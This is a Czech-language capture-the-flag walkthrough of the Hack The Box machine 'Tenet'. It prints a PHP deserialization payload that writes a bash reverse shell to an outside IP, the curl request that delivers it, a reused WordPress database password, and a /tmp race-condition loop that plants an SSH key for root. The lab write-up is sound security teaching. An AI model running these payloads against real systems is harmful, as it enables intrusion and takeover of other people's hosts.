Tenet
Úvod a kontext
Tenet je ukázka klasické PHP insecure deserialization, která sama o sobě dává jen webový foothold, ale v kombinaci s WordPress konfigurací a špatně napsaným root helper skriptem vede až k úplné kompromitaci hostu.
První polovina článku je důležitá hlavně proto, že ukazuje rozdíl mezi „našel jsem záložní soubor“ a „rozumím objektu, který mohu serializací zneužít“. Druhá polovina je o race condition: root skript enableSSH.sh sice dělá zdánlivě užitečnou operaci, ale pracuje s dočasným souborem v /tmp způsobem, který lze přeběhnout.
Počáteční průzkum
Vyhledání otevřených portů
Nejdřív mapuji služby a zjišťuji, zda je stroj čistě webový, nebo zda má i další relevantní vstupy.
ports=$(nmap -p- -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Web zároveň obsahoval WordPress, takže dávalo smysl enumerovat uživatele a vedlejší cesty:
wpscan --url http://tenet.htb/ --random-agent -v 3 --enumerate
[+] protagonist
[+] neil
Analýza zjištění
sator.php a jeho záloha
Z komentáře na webu a následné enumerace vyplynulo, že na hostu existuje soubor sator.php a jeho záloha sator.php.bak. Právě záložní verze byla klíčová, protože zpřístupnila zdrojový kód:
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
To je přímo insecure deserialization. Útočník kontroluje objekt, který se předá do unserialize(), a díky __destruct() může zapsat libovolný obsah do libovolného souboru v adresáři aplikace. V Tenetu je dobře vidět, že nejde o „magický PHP bug“, ale o obecný trust failure mezi klientskými daty a objektovým modelem serveru.
Konstrukce payloadu
Praktický exploit spočívá v tom, že se vytvoří objekt DatabaseExport, kde:
user_fileukazuje na soubor, který chceme vytvořit, napříkladrce.php,dataobsahuje PHP webshell nebo reverse shell.
Například:
class DatabaseExport {
public $user_file = 'rce.php';
public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.10.14.7/4444 0>&1\'"); ?>';
}
print urlencode(serialize(new DatabaseExport));
Takto vzniklý serializovaný objekt pak stačí předat parametru arepo.
Získání přístupu
Webshell přes deserializaci
Samotné zapsání payloadu proběhlo jedním requestem:
curl "http://10.10.10.223/sator.php?arepo=O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A7%3A%22rce.php%22%3Bs%3A4%3A%22data%22%3Bs%3A72%3A%22%3C%3Fphp+exec%28%22%2Fbin%2Fbash+-c+%27bash+-i+%3E+%2Fdev%2Ftcp%2F10.10.14.7%2F4444+0%3E%261%27%22%29%3B+%3F%3E%22%3B%7D"
Následné zavolání nově vytvořeného souboru dalo shell jako webový uživatel:
curl http://10.10.10.223/rce.php
Z WordPress konfigurace pak šlo přečíst lokální přihlašovací údaje:
define( 'DB_USER', 'neil' );
define( 'DB_PASSWORD', 'Opera2112' );
A protože na systému existoval i účet neil, bylo rozumné zkusit reuse hesla mezi aplikací a systémem právě sem:
ssh neil@10.10.10.223
To fungovalo. Tím vznikl stabilní SSH přístup a bylo možné potvrdit user flag.
Eskalace oprávnění
Analýza enableSSH.sh
Lokální enumerace ukázala tuto sudo výjimku:
sudo -l
User neil may run the following commands on tenet:
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
Skript zapisoval veřejný SSH klíč do dočasného souboru /tmp/ssh-* a následně jeho obsah kopíroval do /root/.ssh/authorized_keys. Problém byl v tom, že mezi vytvořením temp souboru a jeho použitím existovala krátká závodní podmínka.
To znamená, že když se podaří do některého /tmp/ssh* souboru včas přepsat vlastní veřejný klíč, skript ho sám zapíše rootovi.
Praktická exploitace je jednoduchá nekonečná smyčka:
while true; do echo "ssh-rsa __CENSORED__ hack@t" | tee /tmp/ssh* > /dev/null; done
Ve druhém terminálu pak stačí opakovaně spouštět:
sudo /usr/local/bin/enableSSH.sh
Jakmile se vlastní klíč propíše do rootova authorized_keys, lze se přihlásit přímo jako root přes SSH a přečíst root.txt.
Shrnutí klíčových poznatků
- Záložní soubor
sator.php.bakměl větší hodnotu než samotná aplikace, protože odhalil přesnou podobu insecure deserialization. - Foothold nevznikl „jen z PHP“, ale konkrétně ze schopnosti vytvořit server-side soubor přes destruktor serializovaného objektu.
- Root část stála na race condition v helper skriptu, který důvěřoval dočasnému souboru v
/tmp.
Co si odnést do praxe
- Zálohy zdrojových souborů na produkčním webu jsou bezpečnostní incident. Jakmile se ven dostane přesná implementace
unserialize(), útok už není o hádání. - Serializované objekty nesmí přicházet z nedůvěryhodného vstupu. Pokud aplikace používá destruktory nebo magic metody se zápisem do souboru, dopad bývá okamžitý.
- Root helper skripty musí s dočasnými soubory pracovat bezpečně.
/tmpbez správného zamykání, vlastnictví a atomických operací je častý zdroj race-condition privesců.
Další související články
HTB Stroje
Techniky
- PATH, PYTHONPATH a wrapper hijack
- Document workflow jako RCE nebo file-read primitivum
- `sudo` nad package, backup a container nástroji